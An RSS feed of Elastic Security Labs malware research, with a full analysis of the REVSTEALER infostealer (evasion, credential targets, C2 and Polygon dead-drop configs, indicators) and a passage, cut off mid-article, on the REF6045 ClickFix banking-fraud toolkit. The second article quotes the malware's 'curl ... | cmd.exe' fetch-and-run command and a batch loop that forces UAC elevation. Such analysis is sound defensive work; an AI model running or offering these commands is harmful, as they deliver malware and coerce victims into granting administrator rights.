<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Salim Bitam - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Salim Bitam - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/author/salim-bitam</link>
    </image>
    <link>https://www.elastic.co/security-labs/author/salim-bitam</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/author/salim-bitam.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Sat, 17 Oct 2026 21:23:33 GMT</lastBuildDate>
  <item>
    <title><![CDATA[REVSTEALER ramps up: analysis of up-and-coming infostealer]]></title>
    <description><![CDATA[Elastic Security Labs deep dives into REVSTEALER, an emerging infostealer targeting browsers, wallets, and gaming accounts.]]></description>
    <content:encoded><![CDATA[<p>Elastic Security Labs is tracking an emerging infostealer, REVSTEALER, under REF2859. This family has gained momentum in recent months, with higher distribution volume, and has emerged as a formidable threat, featuring a comprehensive credential harvester, an embedded sandbox scoring system, and a Polygon blockchain-based dead drop for resilience. Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets.</p>
<p>Gen Threat Labs first <a href="https://x.com/GenThreatLabs/status/2082811429401272495">covered</a> REVSTEALER earlier this summer, detailing its core features. In this research publication, we will walk through how it’s distributed, cover its main features, and share observed infrastructure. For readers who prefer more in-depth technical details on the malware, we are also releasing a whitepaper covering the family. We are also releasing an IDAPython string decryption script for anyone working with samples directly.</p>
<p>The white paper is located <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9cd59668ba5a104d/6a97978bd04dac6f166ca8ce/REVSTEALER_-_White_paper.pdf">here</a> and contains an in-depth analysis of REVSTEALER and REF2859.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Large volume of samples (~4700) on VirusTotal over the past year, with varied submission context  </li>
<li>Comprehensive stealer component targeting browsers, VPN/chat applications, password managers, gaming platforms. Includes <code>ABE</code> debugger-based bypass.  </li>
<li>Weighted anti-analysis checks (sandbox scoring system)  </li>
<li>EtherHiding - Polygon-based dead drop for resilient infra swapping  </li>
<li>Tasking delivers four modules, not previously documented publicly  </li>
<li>Widespread use of VMProtect packer in most REVSTEALER samples; unpacked samples display a verification prompt similar to LummaStealer and AuraStealer</li>
</ul>
<h2 id="attackvector">Attack vector</h2>
<p>Gen Threat Labs documented REVSTEALER reaching victims through a social-engineering path targeting gamers by advertising free cheats and mod menus. Building on this reporting, we identified at least 17 YouTube channels promoting the two related domains <code>elitecheatsx[.]live</code> and <code>resight-cheats[.]net</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd54448897296d3d6/6a979850ecbe18f0c21e2831/image5.png" alt="REVSTEALER download link in a YouTube video description advertising a free Albion Online game cheat" title="Malicious link in a YouTube video description" /></p>
<p>In the campaigns we observed, this took the form of YouTube account takeovers. Existing channels with established subscriber bases were hijacked and used to post short (1–2 minute) AI-generated videos demonstrating the "cheats" and linking viewers to the malicious sites.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d52e0e17be54311/6a97985008979050f8efc1a9/image2.png" alt="Hijacked YouTube channel with 24.4K subscribers posting AI-generated cheat videos that distribute REVSTEALER" title="Compromised YouTube account" /></p>
<p>The game-cheat campaign is only one observed presentation. Related VirusTotal submissions used names and file metadata that impersonated unrelated, recognizable software, including Slack, qBittorrent, Steel Series GG, Blender, and many more. This breadth suggests the builds are packaged for multiple lure themes, not just gaming-focused campaigns. We also ran a Retrohunt with our YARA rule, which returned about 4,700 matching samples across VirusTotal’s database over the past year.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63db1cb2b07acf3a/6a9798501ade64bb4542c457/image6.png" alt="Chart of 4,733 REVSTEALER samples matched by an Elastic YARA retrohunt on VirusTotal, by submission date" title="Retrohunt matches visualized by submission first seen date" /></p>
<p>Many of the samples we analyzed were packed with VMProtect, but the malware code was mostly recoverable through memory dumping. </p>
<h2 id="features">Features</h2>
<h3 id="development">Development</h3>
<p>Across its design, REVSTEALER reflects a developer building for long-term operational use. The malware incorporates features such as self-deletion, indirect syscalls, API hashing, string encryption, mechanisms to avoid user-mode hooks, and custom exception handling. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt256259b9857be8d8/6a9798503eabd03b2a440f82/image11.png" alt="IDA Pro view of the REVSTEALER indirect syscall dispatcher used to evade user-mode API hooks" title="An indirect syscall dispatcher" /></p>
<p>Unlike most commodity stealers, REVSTEALER seems to put more effort into validating its targets; this is evident in its cryptocurrency wallet harvester, which uses a multi-layer architecture with a discovery engine followed by a collector that applies wallet-specific extension filters to extract only relevant files. </p>
<h3 id="cisexclusionchecks">CIS exclusion checks</h3>
<p>Before REVSTEALER qualifies the victim machine, it first checks the machine's default/system languages and keyboard layout using a custom <code>FNV-1a</code> hash lookup. It retrieves each value from the machine, hashes it, and compares it against an embedded table of precomputed values representing the Commonwealth of Independent States (CIS) locales. If any of these three checks match, the malware terminates. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaeb45c0a810727e4/6a97985037d7f318058e97ac/image8.png" alt="Exclusion checks based on language and keyboard layout" title="Exclusion checks based on language and keyboard layout" /></p>
<h3 id="sandboxscoringsystem">Sandbox scoring system</h3>
<p>To determine whether the malware is running in a genuine environment, REVSTEALER integrates a custom sandbox scoring system using ten checks. Each check assigns a specific number of points based on sandbox characteristics such as low total physical RAM or CPU core counts. </p>
<p>If the total score is 7 or higher, the malware determines the machine is likely running in a sandbox environment and then self-terminates.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4dcfd3c2844d4d0e/6a979850de23952db3e842e1/image3.png" alt="REVSTEALER code hashing UI language and keyboard layout with FNV-1a to skip machines in CIS regions" title="Sandbox threshold comparison" /></p>
<p>The following checks are used in this feature:</p>
<ul>
<li>Process Blocklist (Type 0)  </li>
<li>CPU Core Count (Type 1)  </li>
<li>RAM Threshold (Type 2)  </li>
<li>GPU / PCI Vendor Check (Type 3)  </li>
<li>Username / Computer Name Blocklist (Type 4)  </li>
<li>System Uptime (Type 5)  </li>
<li>Sleep / Timing Check (Type 6)  </li>
<li>Media Foundation Check (Type 7)  </li>
<li>CPUID Check (Type 8)  </li>
<li>Virtualization Check (Type 9)</li>
</ul>
<p>Several of these checks hash values such as process names or usernames using a custom <code>FNV-1a</code> hash algorithm and compare the result against an embedded table. This method ensures no plaintext strings appear in the binary and prevents static analysis tools from seeing them.</p>
<h3 id="credentialharvesting">Credential harvesting</h3>
<p>REVSTEALER targets browser credentials and cookies, cryptocurrency wallets, and browser extensions. This includes 225 Chromium extension identifiers spanning cryptocurrency wallets and password managers, alongside 51 standalone wallet applications. It also collects data from messaging clients, gaming platforms, VPNs, FTP clients, OBS Studio, Windows Sticky Notes, and 2FA applications, along with selected documents and configuration files from user directories and non-system drives.</p>
<p>REVSTEALER’s Chromium support includes an implementation for bypassing App-Bound Encryption. To obtain the App-Bound key, it launches a browser process under debugger control, locates code associated with App-Bound decryption, and sets a nearby hardware breakpoint. When the breakpoint triggers, the malware reads the decrypted key directly from the browser’s memory. The implementation was likely influenced by the public ElevationKatz project (under <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltec407c939de22d84/6a979850ee57e5960a050690/image9.png" alt="Decrypted Chrome App-Bound Encryption key in memory, reached by REVSTEALER credential harvesting" title="Example of decrypted App-Bound key in memory" /></p>
<h3 id="payloadwatermarking">Payload watermarking</h3>
<p>The developer places a 16-byte watermark at the end of raw payloads and validates it at runtime. Packed builds do not trigger the check because the watermark is no longer located at EOF. When a watermarked raw copy is launched, a verification window requires the user to enter a random six-character token in order to proceed with execution. This discourages distribution of unprotected payloads while also hindering sandbox analyses. Similar techniques have been observed in Lumma Stealer and AuraStealer.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte62fe4a61e9604a3/6a979850d04dac4e9c6ca8d2/image10.png" alt="Verification window" /></p>
<h3 id="polygondeaddropsasfallback">Polygon dead drops as fallback</h3>
<p>Each REVSTEALER build contains a primary C2 address and a Polygon smart-contract address. If the primary server is unavailable, REVSTEALER queries up to 5 public Polygon JSON-RPC endpoints, reads data from the contract, and decrypts a fallback C2 address using an embedded AES key. </p>
<p>Below are examples of extracted C2 hosts and Polygon dead drop configurations from three REVSTEALER samples with different themes.</p>
<pre><code>Sample sha-256: 8b33e0f32c42a317e3d9cd67d5a6dc68e91a6cf9dd44742162858e7d83cf2073
File Name: SteelSeriesGG.exe
Configuration(c2=b'polygon.iwmukj[.]xyz:443', polygon_contract_address=b'0x7e4126ADFE6679B3613F629CD49162Fb08fc53Bd', contract_function_selector=b'0xdbefdad6', contract_return_aes_key='f07666ac22dfa1a361b8a8576baf69eadaf15431db9f3c34e93334d8d2f8d691')

Sample sha-256: bd97d5cab2d09b001d1b9e08890bce1a2b2cf8542a4b31c86b2def59328cafb2
File Name: slack.exe
Configuration(c2=b'polygon.mnyhgxda[.]xyz:443', polygon_contract_address=b'0x0EC6a6D31b36271eBD06450EA98c84eBa8a191d5', contract_function_selector=b'0xd21368b4', contract_return_aes_key='5c30efd5b9ff75023c3813705f5c47feccc496f439b24b3e572db4c3b08dffe3')

Sample sha-256: 1617552169df805405b1bb70f742d6eac5af342f31c6e39ff6b9613bd2392354
File Name: qBittorrent.exe
Configuration(c2=b'static4.livelab[.]one:443', polygon_contract_address=b'0x49cE5712164755ed212209bc71539bBc6fCFF541', contract_function_selector=b'0x071258c6', contract_return_aes_key='83f5b4ca629681abab2b9680472a304572a8c91b4a8ccc1189fbf58c6186db09')
</code></pre>
<p>Looking up one of the contract addresses on OKLink, there is an initial transaction to create a Polygon contract (bytecode prefix <code>0x60806040</code>), initialized with an encrypted fallback C2 endpoint.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte234d9c750583d18/6a979850f08ee12142853c8f/image7.png" alt="Polygon transaction creating the REVSTEALER dead drop contract holding an encrypted fallback C2 address" title="Polygon C2 transaction " /></p>
<h3 id="victimprofiling">Victim profiling</h3>
<p>Before any stealing components are launched, REVSTEALER profiles the victim machine, collecting the following data:</p>
<p>| Name | Note |
| :---- | :---- |
| System/OS info | Current timestamp, machine fingerprint, system locale, CPU info, RAM, Windows OS version, GPU name, host name, username, token integrity of user, timezone, keyboard layout, screen resolution |
| Environment variable dump | Uses <code>GetEnvironmentStringsW</code> to dump full environment block that can commonly hold sensitive material |
| Process listing | Collects all running processes |
| Installed applications | Collects all installed applications via Windows uninstall registry key path (<code>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>) |
| Windows clipboard | Collects the latest clipboard data using <code>OpenClipboard</code> / <code>GetClipboardData</code> |
| Screenshot capture | Captures a full screenshot of the victim machine  |</p>
<h3 id="gamingplatforms">Gaming platforms</h3>
<p>REVSTEALER has a deliberate focus on gaming platforms, harvesting sensitive materials, authentication tokens, and session cookies from popular platforms such as Blizzard’s Battle.net, EA Desktop, and Steam, along with targeting specific games such as Roblox and Minecraft. Instead of broadly sweeping the entire victim machine, the malware targets file paths, looking for configuration/settings files for each platform/game. For some of these targets, such as Roblox, REVSTEALER uses <code>CryptUnprotectData</code> to decrypt the user’s session cookie, enabling full account takeover without the user’s password. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3b9e204f29dd1113/6a979850de2395fc0de842dd/image1.png" alt="REVSTEALER code reading the Battlestate Games launcher settings file for gaming session hijacking" title="Polygon transaction creating the REVSTEALER dead drop contract holding an encrypted fallback C2 address" /></p>
<p>The following table lists the gaming targets and their paths:</p>
<p>| Platform/Game | File path |
| :---: | ----- |
| Battle.net (Blizzard) | <code>%LOCALAPPDATA%\Battle.net\Battle.net.config</code> |
| Battlestate Games | <code>%APPDATA%\Battlestate Games\BsgLauncher\settings</code> |
| Electronic Arts | <code>%LOCALAPPDATA%\Electronic Arts\EA Desktop\*.ini</code> |
| Roblox | <code>%LOCALAPPDATA%\Roblox\LocalStorage\RobloxCookies.dat</code> |
| Steam | <code>%LOCALAPPDATA%\Steam\local.vdf</code>, <code>%LOCALAPPDATA%\Steam\loginusers.vdf</code> |
| Minecraft | <code>%USERPROFILE%\intentlauncher\launcherconfig</code><br /><code>%USERPROFILE%\.lunarclient\settings\game\accounts.json</code><br /><code>%APPDATA%\.minecraft\TlauncherProfiles.json</code><br /><code>%APPDATA%\.feather\accounts.json</code><br /><code>%APPDATA%\.minecraft\meteor-client\accounts.nbt</code><br /><code>%APPDATA%\.minecraft\Impact\alts.json</code><br /><code>%APPDATA%\Badlion Client\accounts.json</code><br /><code>%APPDATA%\.minecraft\launcher_accounts.json</code><br /><code>%APPDATA%\.minecraft\launcher_profiles_microsoft_store.json</code> |</p>
<h3 id="fourfollowonmodulesdeliveredbyc2tasking">Four follow-on modules delivered by C2 tasking</h3>
<p>REVSTEALER can receive additional executable content through C2 tasks. We recovered four related, self-contained payloads that extend its capabilities beyond credential theft. </p>
<p>| Module | Capability |
| :---- | :---- |
| ProManager | Wallet-file and browser-extension theft, phishing overlays, password-aware input capture, and payload delivery |
| WinUpdate | Cryptocurrency-address replacement and mnemonic-shaped clipboard theft |
| SoftManager | Reverse SOCKS5 proxy and backconnect access over an encrypted WebSocket protocol |
| LockAppHost | XMRig deployment, competitor suspension, and persistence |</p>
<p>Despite their distinct roles, all four REVSTEALER modules follow a common design pattern: obfuscated configuration, VMProtect-style protection, and Polygon smart contracts used as dead drops for replaceable settings, including C2 endpoints and XMRig’s command line.</p>
<h2 id="revstealertechnicalwhitepaper">REVSTEALER technical white paper</h2>
<p>Elastic Security Labs presents a comprehensive technical analysis of REVSTEALER, covering its full capabilities, network communications, anti-analysis, sandbox scoring system, EtherHiding techniques, and follow-on modules. </p>
<p>You can find the technical white paper <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9cd59668ba5a104d/6a97978bd04dac6f166ca8ce/REVSTEALER_-_White_paper.pdf">here</a>.</p>
<h2 id="stringdecryptionscriptforrevstealerinidapro">String decryption script for REVSTEALER in IDA Pro</h2>
<p>Using the <a href="https://www.elastic.co/security-labs/threat-command/nightmare-on-0xelm-street">nightMARE</a> framework, our team is releasing an IDAPython script available for download <a href="https://github.com/elastic/labs-releases/blob/main/tools/revstealer/ida_decrypt_strings.py">here</a>. This tool can place decrypted strings in the IDA Pro decompiler to help analysts pinpoint the malware’s functionality.</p>
<h2 id="revstealerandmitreattck">REVSTEALER and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Stealth</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1020/">Automated Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Checks</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1102/001/">Web Service: Dead Drop Resolver</a></li>
</ul>
<h2 id="detectingandpreventingrevstealer">Detecting and preventing REVSTEALER</h2>
<h3 id="detectionrulesforrevstealer">Detection rules for REVSTEALER</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_dns_susp_tld.toml">Network Activity to a Suspicious Top Level Domain</a></li>
</ul>
<h3 id="preventionrulesforrevstealer">Prevention rules for REVSTEALER</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_virtualalloc_api_call_from_an_unsigned_dll.toml">VirtualAlloc API Call from an Unsigned DLL</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_library_load_via_ldrloaddll.toml">Network Library Load via LdrLoadDLL</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_thread_context_manipulation.toml">Remote Thread Context Manipulation</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_process_suspend_activity.toml">Suspicious Remote Process Suspend Activity</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_chrome_browser_spawned_from_an_unusual_parent.toml">Browser Process Spawned from an Unusual Parent</a></li>
</ul>
<h3 id="yararulesforrevstealer">YARA rules for REVSTEALER</h3>
<p>Elastic Security has created YARA rules to identify this activity. </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RevStealer.yar">Windows.Trojan.RevStealer.yar</a></li>
</ul>
<h2 id="observablesandindicatorsofcompromise">Observables and indicators of compromise</h2>
<p>This research discusses the following observables.</p>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/revstealer">download</a>.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>4c897108e8e793d6904110928c996815c302d6975c9bc61162149e855a963d50</code> | SHA-256 | <code>resightloader.exe</code> | REVSTEALER Loader |
| <code>adc4aa652965396b52e79435ca54987ae9eb21bf5e67de5e9461b09655165ee4</code> | SHA-256 |  | REVSTEALER |
| <code>14b2ac356ed75d10ef40bbaaa48e7dd9fff7de9719c2a43ad123fe843dd4e4e2</code> | SHA-256 | <code>SoftManager72fb40.exe</code> | SoftManager |
| <code>7c08cf409194056a8517865e5d3433d1499bb8262263b55b49b8b07d9d182fcb</code> | SHA-256 | <code>WinUpdate60e3a3.exe</code> | WinUpdate |
| <code>13d7237d7289e67c2d806a65d52580b453ce4987acbe2c4c4d04833f55ebccfa</code> | SHA-256 | <code>ProManagerServicedc894.exe</code> | ProManager |
| <code>c66d2b77b9e85c53391891212413ad9a99eb66f4b11c6a431e78884a5b2651e5</code> | SHA-256 | <code>LockAppHost14a02b.exe</code> | LockAppHost |
| <code>monitor5.roast-core85[.]click</code> | domain-name |  | REVSTEALER C2 server |
| <code>config.hubdisplay[.]lol</code> | domain-name |  | ProManager C2 domain |
| <code>health.journal-metric[.]lol</code> | domain-name |  | WinUpdate C2 domain |
| <code>metric.gardenpark[.]click</code> | domain-name |  | SoftManager C2 domain |
| <code>0x98FF8e7cdC13AE46b83B7590B986F25f1560DF03</code> | Wallet address |  | ProManager Polygon contract address |
| <code>0x0cF1Ec8B9551103de729c3b02D77221Da9d81Acc</code> | Wallet address |  | WinUpdate Polygon contract address |
| <code>0x0E04c59f31E382D2B8A1637f4B9A5f04165EC48d</code> | Wallet address |  | SoftManager Polygon contract address |
| <code>0xC4eC9B7be1c2A0B39Eca678673DcB9164CA5df53</code> | Wallet address |  | LockAppHost Polygon contract address |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/GenThreatLabs/status/2082811429401272495">Gen Threat Labs REVSTEALER coverage on X</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/revstealer-credential-harvesting-infostealer</link>
    <guid isPermaLink="false">revstealer-credential-harvesting-infostealer</guid>
    <category><![CDATA[Detection Engineering]]></category>
    <category><![CDATA[Malware Analysis]]></category>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Salim Bitam,Jia Yu Chan]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteae93f19003a3c38/6a97987727a53185fbdc9398/image4.webp" length="0" type="image/webp"/>
    <pubDate>Wed, 02 Sep 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit]]></title>
    <description><![CDATA[Elastic Security Labs tracks REF6045, an active operator-assisted banking fraud operation targeting customers of Mexican banks, fintech, payment processors, and cryptocurrency exchanges.]]></description>
    <content:encoded><![CDATA[<p>A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims toward live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines.</li>
<li>SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation.</li>
<li>SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services.</li>
<li>Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic.</li>
<li>The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling.</li>
</ul>
<h2 id="howelasticsecuritylabsdiscoveredref6045">How Elastic Security Labs discovered REF6045</h2>
<p>On June 18, 2026, Elastic telemetry surfaced a host using <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">bitsadmin</a> to download a batch of suspicious PowerShell scripts from an open directory at <code>http://68.211.161[.]46/files/</code>. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, <code>zkt.zip</code>, containing the operation's full web root before it was removed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta49346f1b05c1b95/6a7c8aa6bd219886887523a3/image16.png" alt="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" title="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" /></p>
<p>At the web root of <code>http://68.211.161[.]46/</code>, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches <code>validation.txt</code> from the same web server and pipes it directly into <code>cmd.exe</code>, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at <code>https://ww.ssinvestigaciones[.]com/login3.php</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd37bacce79fdea0a/6a7c8aa942a117200a956231/image17.png" alt="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" title="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" /></p>
<p>Because <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard/writeText"><code>navigator.clipboard.writeText()</code></a> requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (<code>http://68.211.161[.]46/</code>) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for <code>validation.txt</code>.</p>
<p>The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each <code>/files</code> open directory.</p>
<p>| ClickFix host | ClickFix validation.txt file source | File host (hosting toolkit) | C2 extracted from hosted PS1 scripts |
| :---- | :---- | :---- | :---- |
| <code>https://ratonvaquero2026[.]online/</code> | <code>http://68.211.161[.]46/validation.txt</code> | <code>https://ratonvaquero2026[.]online/files/</code> | <code>https://negratomasa2026[.]online/dashboard2/recData.php</code> |
| <code>https://monteviral2026.duckdns[.]org/</code> | <code>http://68.211.161[.]46/validation.txt</code> | <code>https://monteviral2026.duckdns[.]org/files/</code> | <code>https://gestionmontelavaria2026[.]online/dashboard2/recData.php</code> |
| <code>https://osogransd[.]online/</code> | <code>http://216.250.112[.]100/validation.txt</code> | <code>https://osogransd[.]online/files/</code> | <code>http://185.242.246[.]169/dashboard2/recData.php</code> |</p>
<h2 id="scmbankersexecutionchain">SCMBANKER's execution chain</h2>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3d586c624e5414c5/6a7c8aac42a117722a956237/image20.png" alt="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" title="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" /></p>
<p>The initial infection chain described below uses the <code>monteviral2026.duckdns[.]org</code> ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.</p>
<p>Below is an example command line:</p>
<pre><code>cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe &amp; exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)
</code></pre>
<p>Decoy strings <code>CIoudfIare</code> with capital-I homoglyphs, and the <code>Google Verificación Segura</code> version text are reproduced verbatim.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7f36de1c1af6c206/6a7c8aafbdcff01534c3d1fe/image18.png" alt="ClickFix fake verification page telling victims to paste a command into Windows Run" title="ClickFix fake verification page telling victims to paste a command into Windows Run" /></p>
<p>Despite the <code>.txt</code> extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.</p>
<h3 id="fakeupdatesmokescreen">Fake update smokescreen</h3>
<p>The batch script immediately launches Microsoft Edge in <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-configure-kiosk-mode#overview">kiosk mode</a> pointing to <code>fakeupdate[.]net</code>, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.</p>
<pre><code>start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa9f71daedfd46d2/6a7c8ab296b5a647688756a0/image3.png" alt="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" title="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" /></p>
<h3 id="uacconsentfatigueloop">UAC consent fatigue loop</h3>
<p>Next, the malware checks if it is running as admin via <code>net session</code>. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema…" (Administrator permissions are required to update your system…), and relaunches itself with <code>-Verb RunAs</code> every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.</p>
<pre><code>:check
net session &gt;nul 2&gt;&amp;1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 &gt;nul
goto check
</code></pre>
<h3 id="cursortrap">Cursor trap</h3>
